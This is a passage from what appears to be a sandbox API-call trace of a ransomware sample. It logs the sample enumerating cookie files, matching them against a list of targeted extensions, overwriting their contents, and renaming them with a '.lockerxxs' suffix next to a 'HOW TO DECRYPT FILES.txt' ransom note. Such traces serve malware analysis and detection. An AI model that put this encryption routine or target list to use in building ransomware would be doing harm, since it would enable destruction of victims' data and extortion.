dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.391] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x40, lpOverlapped=0x0) returned 1 [0088.393] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt") returned="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" [0088.393] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.393] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x40, lpOverlapped=0x0) returned 1 [0088.393] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.393] CloseHandle (hObject=0x9c) returned 1 [0088.393] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.lockerxxs")) returned 1 [0088.395] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44bd95f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44bd95f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44bd95f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x12000311, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", cAlternateFileName="5P37D9~1.TXT")) returned 1 [0088.395] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.395] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned 1 [0088.395] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned 1 [0088.395] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned -1 [0088.395] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt") returned="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" [0088.395] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.395] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.395] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.395] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.396] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" [0088.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.ems") returned 0 [0088.396] lstrlenA (lpString="*.ems") returned 5 [0088.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.db") returned 0 [0088.396] lstrlenA (lpString="*.db") returned 4 [0088.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.dbf") returned 0 [0088.396] lstrlenA (lpString="*.dbf") returned 5 [0088.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.myox") returned 0 [0088.396] lstrlenA (lpString="*.myox") returned 6 [0088.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.myo") returned 0 [0088.396] lstrlenA (lpString="*.myo") returned 5 [0088.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qbw") returned 0 [0088.396] lstrlenA (lpString="*.qbw") returned 5 [0088.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qbb") returned 0 [0088.397] lstrlenA (lpString="*.qbb") returned 5 [0088.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qbm") returned 0 [0088.397] lstrlenA (lpString="*.qbm") returned 5 [0088.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qbo") returned 0 [0088.397] lstrlenA (lpString="*.qbo") returned 5 [0088.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qbx") returned 0 [0088.397] lstrlenA (lpString="*.qbx") returned 5 [0088.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qba") returned 0 [0088.397] lstrlenA (lpString="*.qba") returned 5 [0088.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qby") returned 0 [0088.397] lstrlenA (lpString="*.qby") returned 5 [0088.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qbj") returned 0 [0088.397] lstrlenA (lpString="*.qbj") returned 5 [0088.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.ofx") returned 0 [0088.397] lstrlenA (lpString="*.ofx") returned 5 [0088.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.qif") returned 0 [0088.397] lstrlenA (lpString="*.qif") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.mye") returned 0 [0088.398] lstrlenA (lpString="*.mye") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.mbox") returned 0 [0088.398] lstrlenA (lpString="*.mbox") returned 6 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.eml") returned 0 [0088.398] lstrlenA (lpString="*.eml") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.pst") returned 0 [0088.398] lstrlenA (lpString="*.pst") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.ost") returned 0 [0088.398] lstrlenA (lpString="*.ost") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.idx") returned 0 [0088.398] lstrlenA (lpString="*.idx") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.dbx") returned 0 [0088.398] lstrlenA (lpString="*.dbx") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.sql") returned 0 [0088.398] lstrlenA (lpString="*.sql") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.mdb") returned 0 [0088.398] lstrlenA (lpString="*.mdb") returned 5 [0088.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.fdb") returned 0 [0088.399] lstrlenA (lpString="*.fdb") returned 5 [0088.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.wab") returned 0 [0088.399] lstrlenA (lpString="*.wab") returned 5 [0088.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.dat") returned 0 [0088.399] lstrlenA (lpString="*.dat") returned 5 [0088.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", pszSpec="*.txt") returned 1 [0088.399] lstrlenA (lpString="*.txt") returned 5 [0088.399] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" [0088.399] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" [0088.399] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt." [0088.399] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.lockerxxs" [0088.399] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.400] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x66 [0088.400] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x44bd95f0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x44bd95f0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x44bd95f0, dwHighDateTime=0x1d2faf3)) returned 1 [0088.400] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.400] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x40, lpOverlapped=0x0) returned 1 [0088.402] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" [0088.402] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.402] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x40, lpOverlapped=0x0) returned 1 [0088.403] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.403] CloseHandle (hObject=0x9c) returned 1 [0088.403] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.lockerxxs")) returned 1 [0088.404] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf73d210, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x17000314, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", cAlternateFileName="5P2CBA~1.TXT")) returned 1 [0088.404] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.404] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned 1 [0088.404] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned 1 [0088.404] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned -1 [0088.404] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" [0088.404] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.404] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.404] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.405] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.405] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@adformdsp[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" [0088.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.ems") returned 0 [0088.405] lstrlenA (lpString="*.ems") returned 5 [0088.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.db") returned 0 [0088.405] lstrlenA (lpString="*.db") returned 4 [0088.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.dbf") returned 0 [0088.405] lstrlenA (lpString="*.dbf") returned 5 [0088.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.myox") returned 0 [0088.405] lstrlenA (lpString="*.myox") returned 6 [0088.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.myo") returned 0 [0088.405] lstrlenA (lpString="*.myo") returned 5 [0088.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qbw") returned 0 [0088.405] lstrlenA (lpString="*.qbw") returned 5 [0088.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qbb") returned 0 [0088.405] lstrlenA (lpString="*.qbb") returned 5 [0088.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qbm") returned 0 [0088.406] lstrlenA (lpString="*.qbm") returned 5 [0088.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qbo") returned 0 [0088.406] lstrlenA (lpString="*.qbo") returned 5 [0088.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qbx") returned 0 [0088.406] lstrlenA (lpString="*.qbx") returned 5 [0088.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qba") returned 0 [0088.406] lstrlenA (lpString="*.qba") returned 5 [0088.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qby") returned 0 [0088.406] lstrlenA (lpString="*.qby") returned 5 [0088.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qbj") returned 0 [0088.406] lstrlenA (lpString="*.qbj") returned 5 [0088.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.ofx") returned 0 [0088.406] lstrlenA (lpString="*.ofx") returned 5 [0088.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.qif") returned 0 [0088.406] lstrlenA (lpString="*.qif") returned 5 [0088.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 